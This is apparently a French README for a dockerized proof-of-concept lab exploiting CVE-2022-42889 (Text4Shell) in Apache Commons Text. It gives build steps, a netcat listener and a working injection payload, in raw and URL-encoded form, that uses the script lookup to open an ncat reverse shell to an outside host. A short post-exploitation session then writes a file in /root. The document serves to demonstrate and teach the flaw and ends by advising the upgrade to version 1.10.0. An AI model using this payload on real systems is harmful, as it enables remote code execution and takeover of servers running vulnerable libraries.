
Une simple application dockerisée qui montre comment exploiter la vulnérabilité CVE-2022-42889.
Preuve de concept pour la vulnérabilité Apache commons-text CVE-2022-42889.
Apache Commons Text effectue une interpolation de variables, permettant d'évaluer et d'étendre dynamiquement des propriétés. Le format standard pour l'interpolation est "${prefix:name}", où "prefix" est utilisé pour localiser une instance de org.apache.commons.text.lookup.StringLookup qui effectue l'interpolation. À partir de la version 1.5 et jusqu'à la version 1.9, l'ensemble des instances Lookup par défaut incluait des interpolateurs pouvant entraîner l'exécution de code arbitraire ou le contact avec des serveurs distants. Ces lookups sont : - "script" - exécute des expressions via le moteur d'exécution de scripts JVM (javax.script) - "dns" - résout les enregistrements DNS - "url" - charge des valeurs depuis des URL, y compris depuis des serveurs distants. Les applications utilisant les interpolations par défaut dans les versions concernées peuvent être vulnérables à une exécution de code à distance ou à un contact non intentionnel avec des serveurs distants si des valeurs de configuration non fiables sont utilisées.
Apache Commons Text Version 1.5 à 1.9
CVE-2022-42889-POC :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<n'importe_quoi>
L'attaque peut être réalisée en passant une chaîne "${prefix:name}" où le préfixe est le lookup mentionné : ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
Si vous pouvez voir le fichier hacked.txt dans le Terminal onglet 3 après la commande ls, l'attaque a été exécutée.

Il est recommandé aux utilisateurs de mettre à jour vers Apache Commons Text 1.10.0, qui désactive les interpolateurs problématiques par défaut.